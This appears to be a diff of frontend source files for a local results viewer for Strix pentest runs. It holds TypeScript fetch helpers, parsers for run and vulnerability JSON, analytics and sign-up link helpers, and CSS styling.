label="Catch this in PR reviews"
desc="Pentest every pull request your team opens."
slug="pr_reviews"
icon={GitPullRequest}
surface="finding_detail"
/>
</div>
</div>
</div>
);
}
@@ -0,0 +1,237 @@
import type { Vulnerability } from "@/types/issues";
import {
parseRunJson,
parseVulnerabilitiesJson,
type ParsedRunSummary,
} from "@/lib/local-run-parser";
/**
* Data seam for the local viewer. Replaces strix-app's browser file-picker
* (`loadFromTexts`) with fetches against the local Python server's JSON
* endpoints (same origin, relative URLs). Produces the same in-memory
* `LoadedRun` shape the UI renders, plus a `finished` flag driving live polling.
*
* The server serves a live in-progress run and a finished one identically; the
* only signal is `run.finished`.
*/
/** A transcript agent as emitted by GET /api/transcript (already parsed). */
export interface TranscriptAgent {
id: string;
name: string;
parent_id: string | null;
status: string;
created_at: string;
updated_at: string;
}
/** Chat/tool event data as emitted by GET /api/transcript. */
export interface TranscriptEvent {
id: string;
type: "chat" | "tool";
agent_id: string;
timestamp: string;
version: number;
data: Record<string, unknown>;
}
export interface Transcript {
agents: TranscriptAgent[];
events: TranscriptEvent[];
}
export interface LoadedRun {
summary: ParsedRunSummary;
/** Whole raw run record (for llm_usage, targets_info details, etc.). */
raw: Record<string, unknown>;
finished: boolean;
vulnerabilities: Vulnerability[];
reportMarkdown: string | null;
transcript: Transcript;
}
async function getJson(path: string): Promise<unknown> {
const res = await fetch(path, { cache: "no-store" });
if (!res.ok) throw new Error(`${path} responded ${res.status}`);
return res.json();
}
/** Build a ``?run=<name>`` suffix for run-scoped data endpoints. */
function runQuery(runName?: string | null): string {
return runName ? `?run=${encodeURIComponent(runName)}` : "";
}
export async function fetchRunSummary(runName?: string | null): Promise<{
summary: ParsedRunSummary;
raw: Record<string, unknown>;
finished: boolean;
}> {
const raw = (await getJson("/api/run" + runQuery(runName))) as Record<string, unknown>;
// parseRunJson tolerates extra keys and takes raw TEXT.
const summary = parseRunJson(JSON.stringify(raw));
const finished = raw.finished === true;
return { summary, raw, finished };
}
export async function fetchVulnerabilities(
runId: string | null,
runName?: string | null
): Promise<Vulnerability[]> {
const arr = await getJson("/api/vulnerabilities" + runQuery(runName));
return parseVulnerabilitiesJson(JSON.stringify(arr), runId);
}
export async function fetchReportMarkdown(runName?: string | null): Promise<string | null> {
const obj = (await getJson("/api/report" + runQuery(runName))) as { markdown?: string };
return obj?.markdown ?? null;
}
export async function fetchTranscript(runName?: string | null): Promise<Transcript> {
const obj = (await getJson("/api/transcript" + runQuery(runName))) as Partial<Transcript>;
return {
agents: Array.isArray(obj?.agents) ? obj.agents : [],
events: Array.isArray(obj?.events) ? obj.events : [],
};
}
/** One-shot fetch of every endpoint (used on mount and on final settle). */
export async function fetchAll(runName?: string | null): Promise<LoadedRun> {
const { summary, raw, finished } = await fetchRunSummary(runName);
const [vulnerabilities, reportMarkdown, transcript] = await Promise.all([
fetchVulnerabilities(summary.runId, runName).catch(() => [] as Vulnerability[]),
fetchReportMarkdown(runName).catch(() => null),
fetchTranscript(runName).catch(() => ({ agents: [], events: [] }) as Transcript),
]);
return { summary, raw, finished, vulnerabilities, reportMarkdown, transcript };
}
// ---------------------------------------------------------------------------
// Run history + email auth + report send
//
// These endpoints back the "Your runs" sidebar section. Auth and report-send
// responses carry a meaningful JSON body on non-2xx statuses (an ``error``
// code), so they read the body regardless of status rather than throwing.
// ---------------------------------------------------------------------------
export interface RunSeverityCounts {
critical: number;
high: number;
medium: number;
low: number;
}
export interface RunListEntry {
name: string;
target: string | null;
scan_mode: string | null;
status: string | null;
start_time: string | null;
end_time: string | null;
finished: boolean;
severity_counts: RunSeverityCounts;
}
export interface RunsPayload {
locked: boolean;
count: number;
runs: RunListEntry[];
}
export interface AuthStatus {
verified: boolean;
email: string | null;
}
export type OtpStartResult = { ok: true } | { ok: false; error: string };
export type OtpVerifyResult =
| { verified: true; email: string }
| { verified: false; error: string };
export type SendReportResult =
| { ok: true; password: string; filename: string }
| { ok: false; error: string };
async function postJson(
path: string,
body: Record<string, unknown>
): Promise<{ ok: boolean; status: number; data: Record<string, unknown> }> {
const res = await fetch(path, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
cache: "no-store",
});
let data: Record<string, unknown> = {};
try {
const parsed = await res.json();
if (parsed && typeof parsed === "object") data = parsed as Record<string, unknown>;
} catch {
/* empty or non-JSON body */
}
return { ok: res.ok, status: res.status, data };
}
export async function fetchRuns(): Promise<RunsPayload> {
const obj = (await getJson("/api/runs")) as Partial<RunsPayload>;
return {
locked: obj?.locked ?? true,
count: typeof obj?.count === "number" ? obj.count : 0,
runs: Array.isArray(obj?.runs) ? (obj.runs as RunListEntry[]) : [],
};
}
export interface Capabilities {
can_steer: boolean;
}
export type SteerResult = { ok: true } | { ok: false; error: string };
/** GET /api/capabilities. can_steer is true only inside a live in-TUI scan. */
export async function fetchCapabilities(): Promise<Capabilities> {
const obj = (await getJson("/api/capabilities")) as Partial<Capabilities>;
return { can_steer: obj?.can_steer === true };
}
/** POST /api/agents/steer. Sends a steering instruction to a running agent. */
export async function steerAgent(agentId: string, message: string): Promise<SteerResult> {
const { ok, data } = await postJson("/api/agents/steer", {
agent_id: agentId,
message,
});
if (ok && data.ok === true) return { ok: true };
return { ok: false, error: String(data.error ?? "unavailable") };
}
export async function fetchAuthStatus(): Promise<AuthStatus> {
const obj = (await getJson("/api/auth/status")) as Partial<AuthStatus>;
return { verified: obj?.verified === true, email: obj?.email ?? null };
}
export async function otpStart(email: string): Promise<OtpStartResult> {
const { ok, data } = await postJson("/api/auth/otp/start", { email });
if (ok && data.ok === true) return { ok: true };
return { ok: false, error: String(data.error ?? "unavailable") };
}
export async function otpVerify(email: string, code: string): Promise<OtpVerifyResult> {
const { ok, data } = await postJson("/api/auth/otp/verify", { email, code });
if (ok && data.verified === true) {
return { verified: true, email: String(data.email ?? email) };
}
return { verified: false, error: String(data.error ?? "invalid_code") };
}
export async function forgetAuth(): Promise<void> {
await postJson("/api/auth/forget", {});
}
export async function sendReport(runName?: string | null): Promise<SendReportResult> {
const { ok, data } = await postJson("/api/report/send", runName ? { run: runName } : {});
if (ok && data.ok === true) {
return {
ok: true,
password: String(data.password ?? ""),
filename: String(data.filename ?? "strix-report.pdf"),
};
}
return { ok: false, error: String(data.error ?? "unavailable") };
}
+173
View File
@@ -0,0 +1,173 @@
@import "tailwindcss";
:root {
--font-geist-sans: ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto,
Helvetica, Arial, sans-serif;
--font-geist-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas,
"Liberation Mono", "Courier New", monospace;
}
@theme inline {
--font-sans: var(--font-geist-sans);
--font-mono: var(--font-geist-mono);
}
html,
body {
background: #000000;
color: #ffffff;
font-family: var(--font-geist-sans);
}
/* Tab content transition (lifted from strix-app globals.css) */
@keyframes tab-in {
from {
opacity: 0;
filter: blur(4px);
transform: translateY(6px);
}
to {
opacity: 1;
filter: blur(0px);
transform: translateY(0px);
}
}
.animate-tab-in {
animation: tab-in 200ms ease-out;
}
/* Markdown prose styling (lifted from strix-app globals.css) */
.prose-markdown {
font-size: 14px;
line-height: 1.7;
color: #999;
word-wrap: break-word;
overflow-wrap: break-word;
}
.prose-markdown p {
margin-bottom: 0.75em;
}
.prose-markdown p:last-child {
margin-bottom: 0;
}
.prose-markdown strong {
color: #ccc;
font-weight: 600;
}
.prose-markdown em {
font-style: italic;
}
.prose-markdown code {
background: #0a0a0a;
border: 1px solid #111;
border-radius: 4px;
padding: 0.15em 0.4em;
font-size: 0.9em;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
color: #ccc;
font-variant-ligatures: none;
}
.prose-markdown pre {
background: transparent;
border: none;
border-radius: 0;
padding: 0;
margin: 0;
font-variant-ligatures: none;
}
.prose-markdown pre code {
background: none;
border: none;
padding: 0;
font-size: 13px;
color: inherit;
}
.prose-markdown ul,
.prose-markdown ol {
padding-left: 1.5em;
margin-bottom: 0.75em;
}
.prose-markdown ul {
list-style-type: disc;
}
.prose-markdown ol {
list-style-type: decimal;
}
.prose-markdown li {
margin-bottom: 0.25em;
}
.prose-markdown li > ul,
.prose-markdown li > ol {
padding-left: 1.5em;
margin-top: 0.25em;
margin-bottom: 0.25em;
}
.prose-markdown ol + ul {
padding-left: 3em;
margin-top: -0.5em;
}
.prose-markdown h1,
.prose-markdown h2,
.prose-markdown h3,
.prose-markdown h4,
.prose-markdown h5,
.prose-markdown h6 {
color: #ddd;
font-weight: 600;
margin-top: 1em;
margin-bottom: 0.5em;
}
.prose-markdown a {
color: inherit;
text-decoration: none;
pointer-events: none;
}
.prose-markdown blockquote {
border-left: 3px solid #333;
padding-left: 1em;
color: #777;
margin: 0.75em 0;
}
.prose-markdown hr {
border: none;
border-top: 1px solid #222;
margin: 1em 0;
}
.prose-markdown > table {
width: 100%;
border-collapse: collapse;
margin: 0.75em 0;
}
.prose-markdown > table th,
.prose-markdown > table td {
border: 1px solid #333;
padding: 0.4em 0.75em;
text-align: left;
font-size: 13px;
}
.prose-markdown > table th {
background: #1a1a1a;
color: #ccc;
font-weight: 600;
}
+43
View File
@@ -0,0 +1,43 @@
// All upsell / sign-up CTAs route anonymous local-viewer users to the public
// cloud sign-up. Open in a new tab so the local results stay put.
export const SIGNUP_URL = "https://app.strix.ai/api/auth/signup";
export const DEMO_URL = "https://strix.ai/demo";
export const PRICING_URL = "https://strix.ai/pricing";
// Attribution params appended to every outbound CTA link so the destination
// analytics can see the local viewer drove the click, with utm_content carrying
// the CTA slug so we know which one.
const CTA_PARAMS =
"ref=oss_viewer&utm_source=oss_viewer&utm_medium=local_viewer&utm_campaign=oss_viewer";
export function ctaUrl(base: string, slug: string): string {
const sep = base.includes("?") ? "&" : "?";
return `${base}${sep}${CTA_PARAMS}&utm_content=${encodeURIComponent(slug)}`;
}
// Best-effort, anonymous beacon. The local server forwards this to PostHog only
// if the user has telemetry enabled; it never blocks navigation. Undefined
// props are dropped so we only send what is set. NEVER pass PII here (no email,
// code, or report content) - the props are limited to anonymous metadata.
export function track(event: string, props: Record<string, string | undefined> = {}): void {
try {
const body: Record<string, string> = { event };
for (const [key, value] of Object.entries(props)) {
if (value !== undefined) body[key] = value;
}
const payload = JSON.stringify(body);
if (typeof navigator !== "undefined" && navigator.sendBeacon) {
navigator.sendBeacon("/api/event", payload);
} else {
void fetch("/api/event", { method: "POST", body: payload, keepalive: true });
}
} catch {
/* analytics is best-effort */
}
}
// Anonymous conversion tracking for a sign-up/upsell click. `surface` records
// where the click happened so one CTA slug can be reused across placements.
export function trackCta(cta: string, surface?: string): void {
track("cta_clicked", { cta, surface });
}
@@ -0,0 +1,12 @@
// Slim, dependency-free extract of strix-app's display-number helper. The full
// version queries Supabase to compute org-wide finding numbers; the local viewer
// only ever needs the pure formatter, so the supabase-backed functions are
// intentionally omitted (a local run has no org context).
export function formatStrixId(num: number): string {
return `STRIX-${num}`;
}
/** Format an integer with locale thousands separators (e.g. 68339486 -> "68,339,486"). */
export function formatNumber(num: number): string {
return new Intl.NumberFormat("en-US").format(num);
}
+14
View File
@@ -0,0 +1,14 @@
import hljs from "highlight.js/lib/common";
import http from "highlight.js/lib/languages/http";
import nginx from "highlight.js/lib/languages/nginx";
import apache from "highlight.js/lib/languages/apache";
import dockerfile from "highlight.js/lib/languages/dockerfile";
import properties from "highlight.js/lib/languages/properties";
hljs.registerLanguage("http", http);
hljs.registerLanguage("nginx", nginx);
hljs.registerLanguage("apache", apache);
hljs.registerLanguage("dockerfile", dockerfile);
hljs.registerLanguage("properties", properties);
export default hljs;
@@ -0,0 +1,325 @@
import type {
Vulnerability,
VulnerabilitySeverity,
VulnerabilityStatus,
} from "@/types/issues";
/**
* Pure, dependency-free parsers that turn a Strix CLI local run
* (`strix_runs/<run>/{run.json,vulnerabilities.json}`) into the app's own
* types, so the /results view can reuse the dashboard's finding components.
*
* These run entirely client-side against files the user picked from disk
* nothing here uploads or persists anything.
*/
export class RunParseError extends Error {
constructor(message: string) {
super(message);
this.name = "RunParseError";
}
}
export interface ParsedRunSummary {
runId: string | null;
runName: string | null;
targets: string[];
scanMode: string | null;
status: string | null;
startTime: string | null;
endTime: string | null;
durationSeconds: number | null;
executiveSummary: string | null;
technicalAnalysis: string | null;
methodology: string | null;
recommendations: string | null;
}
const KNOWN_SEVERITIES: VulnerabilitySeverity[] = ["critical", "high", "medium", "low"];
function coerceSeverity(raw: unknown): VulnerabilitySeverity {
const s = String(raw ?? "").toLowerCase().trim();
if ((KNOWN_SEVERITIES as string[]).includes(s)) return s as VulnerabilitySeverity;
// The app's severity type has no "info"/"informational" bucket; fold those
// (and anything unrecognized) into "low" so the shared UI renders cleanly.
return "low";
}
function toIsoTimestamp(raw: unknown): string {
if (typeof raw === "string" && raw.trim()) {
// CLI writes e.g. "2025-01-02 03:04:05 UTC".
const normalized = raw.trim().replace(" UTC", "Z").replace(" ", "T");
const d = new Date(normalized);
if (!Number.isNaN(d.getTime())) return d.toISOString();
const direct = new Date(raw);
if (!Number.isNaN(direct.getTime())) return direct.toISOString();
}
return new Date().toISOString();
}
function asStringOrNull(v: unknown): string | null {
return typeof v === "string" && v.length > 0 ? v : null;
}
function asNumberOrNull(v: unknown): number | null {
return typeof v === "number" && Number.isFinite(v) ? v : null;
}
function parseJson(text: string, label: string): unknown {
try {
return JSON.parse(text);
} catch {
throw new RunParseError(
`${label} isn't valid JSON. Make sure you selected a Strix run directory.`
);
}
}
export function parseRunJson(text: string): ParsedRunSummary {
const data = parseJson(text, "run.json");
if (!data || typeof data !== "object" || Array.isArray(data)) {
throw new RunParseError("run.json is not an object.");
}
const record = data as Record<string, unknown>;
const targets: string[] = [];
const targetsInfo = record.targets_info;
if (Array.isArray(targetsInfo)) {
for (const t of targetsInfo) {
if (t && typeof t === "object") {
const original = (t as Record<string, unknown>).original;
if (typeof original === "string" && original) targets.push(original);
}
}
}
const startTime = asStringOrNull(record.start_time);
const endTime = asStringOrNull(record.end_time);
let durationSeconds: number | null = null;
if (startTime && endTime) {
const s = new Date(startTime).getTime();
const e = new Date(endTime).getTime();
if (!Number.isNaN(s) && !Number.isNaN(e) && e >= s) {
durationSeconds = Math.round((e - s) / 1000);
}
}
let executiveSummary: string | null = null;
let technicalAnalysis: string | null = null;
let methodology: string | null = null;
let recommendations: string | null = null;
const scanResults = record.scan_results;
if (scanResults && typeof scanResults === "object") {
const sr = scanResults as Record<string, unknown>;
executiveSummary = asStringOrNull(sr.executive_summary);
technicalAnalysis = asStringOrNull(sr.technical_analysis);
methodology = asStringOrNull(sr.methodology);
recommendations = asStringOrNull(sr.recommendations);
}
return {
runId: asStringOrNull(record.run_id),
runName: asStringOrNull(record.run_name),
targets,
scanMode: asStringOrNull(record.scan_mode),
status: asStringOrNull(record.status),
startTime,
endTime,
durationSeconds,
executiveSummary,
technicalAnalysis,
methodology,
recommendations,
};
}
/** Fields on the app's Vulnerability type that a local run never provides. */
function emptyVulnerabilityDefaults(): Omit<
Vulnerability,
| "id"
| "title"
| "description"
| "severity"
| "created_at"
| "scan_id"
| "status"
> {
return {
pr_review_id: null,
cve: null,
cvss: null,
potential_risk_saving: null,
risk_saving_description: null,
impact: null,
endpoint: null,
method: null,
target: null,
technical_analysis: null,
poc_description: null,
poc_script_code: null,
code_diff: null,
code_file: null,
code_before: null,
code_after: null,
cwe: null,
code_locations: null,
remediation_steps: null,
fix_pr_body: null,
evidence: null,
assumptions: null,
fix_effort: null,
cvss_breakdown: null,
status_changed_at: null,
status_changed_by: null,
status_note: null,
snoozed_until: null,
reopened_at: null,
reopened_by: null,
original_severity: null,
severity_changed_at: null,
severity_changed_by: null,
severity_override_reason: null,
retest_of_vulnerability_id: null,
};
}
function parseOneVulnerability(
raw: Record<string, unknown>,
index: number,
runId: string | null
): Vulnerability {
const cweRaw = raw.cwe;
const cwe =
typeof cweRaw === "string" && cweRaw.trim()
? [cweRaw.trim()]
: Array.isArray(cweRaw)
? (cweRaw.filter((c) => typeof c === "string" && c) as string[])
: null;
const status: VulnerabilityStatus = "open";
return {
...emptyVulnerabilityDefaults(),
id: asStringOrNull(raw.id) ?? `vuln-${index + 1}`,
scan_id: runId,
title: asStringOrNull(raw.title) ?? "Untitled finding",
description: asStringOrNull(raw.description) ?? "",
severity: coerceSeverity(raw.severity),
status,
created_at: toIsoTimestamp(raw.timestamp),
cve: asStringOrNull(raw.cve),
cvss: asNumberOrNull(raw.cvss),
impact: asStringOrNull(raw.impact),
endpoint: asStringOrNull(raw.endpoint),
method: asStringOrNull(raw.method),
target: asStringOrNull(raw.target),
technical_analysis: asStringOrNull(raw.technical_analysis),
poc_description: asStringOrNull(raw.poc_description),
poc_script_code: asStringOrNull(raw.poc_script_code),
cwe,
code_locations: Array.isArray(raw.code_locations)
? (raw.code_locations as Vulnerability["code_locations"])
: null,
remediation_steps: asStringOrNull(raw.remediation_steps),
fix_pr_body: asStringOrNull(raw.fix_pr_body),
evidence: asStringOrNull(raw.evidence),
assumptions: asStringOrNull(raw.assumptions),
fix_effort: (asStringOrNull(raw.fix_effort) as Vulnerability["fix_effort"]) ?? null,
cvss_breakdown: (raw.cvss_breakdown as Vulnerability["cvss_breakdown"]) ?? null,
};
}
export function parseVulnerabilitiesJson(
text: string,
runId: string | null = null
): Vulnerability[] {
const data = parseJson(text, "vulnerabilities.json");
if (!Array.isArray(data)) {
throw new RunParseError("vulnerabilities.json is not a JSON array.");
}
return data.map((item, i) => {
if (!item || typeof item !== "object") {
throw new RunParseError(`vulnerabilities.json entry #${i + 1} is not an object.`);
}
return parseOneVulnerability(item as Record<string, unknown>, i, runId);
});
}
export interface ParsedAgent {
id: string;
name: string;
status: string;
parentId: string | null;
task: string | null;
skills: string[];
depth: number;
}
/**
* Parse the agent execution trace from `.state/agents.json` into a pre-ordered
* tree (children follow their parent; `depth` drives indentation). Rendered
* 100% client-side and never uploaded traces contain target details, so they
* must stay on the user's machine. The heavier `.state/agents.db` (SQLite) is
* intentionally ignored; `agents.json` has everything the panel needs.
*/
export function parseAgentsJson(text: string): ParsedAgent[] {
const data = parseJson(text, "agents.json");
if (!data || typeof data !== "object" || Array.isArray(data)) return [];
const record = data as Record<string, unknown>;
const statuses = (record.statuses ?? {}) as Record<string, unknown>;
const parentOf = (record.parent_of ?? {}) as Record<string, unknown>;
const names = (record.names ?? {}) as Record<string, unknown>;
const metadata = (record.metadata ?? {}) as Record<string, unknown>;
const agents = new Map<string, ParsedAgent>();
for (const id of Object.keys(statuses)) {
const meta = (metadata[id] ?? {}) as Record<string, unknown>;
const skillsRaw = meta.skills;
agents.set(id, {
id,
name: asStringOrNull(names[id]) ?? id,
status: asStringOrNull(statuses[id]) ?? "unknown",
parentId: asStringOrNull(parentOf[id]),
task: asStringOrNull(meta.task),
skills: Array.isArray(skillsRaw)
? skillsRaw.filter((s): s is string => typeof s === "string")
: [],
depth: 0,
});
}
if (agents.size === 0) return [];
const childrenOf = new Map<string | null, string[]>();
for (const a of agents.values()) {
const key = a.parentId && agents.has(a.parentId) ? a.parentId : null;
(childrenOf.get(key) ?? childrenOf.set(key, []).get(key)!).push(a.id);
}
const ordered: ParsedAgent[] = [];
const seen = new Set<string>();
const visit = (id: string, depth: number): void => {
const a = agents.get(id);
if (!a || seen.has(id)) return;
seen.add(id);
a.depth = depth;
ordered.push(a);
for (const childId of childrenOf.get(id) ?? []) visit(childId, depth + 1);
};
for (const rootId of childrenOf.get(null) ?? []) visit(rootId, 0);
// Defensive: include any agents not reachable from a root.
for (const a of agents.values()) if (!seen.has(a.id)) ordered.push(a);
return ordered;
}
export function severityCounts(
vulns: Vulnerability[]
): Record<VulnerabilitySeverity, number> {
const counts: Record<VulnerabilitySeverity, number> = {
critical: 0,
high: 0,
medium: 0,
low: 0,
};
for (const v of vulns) counts[v.severity] += 1;
return counts;
}

Some files were not shown because too many files have changed in this diff Show More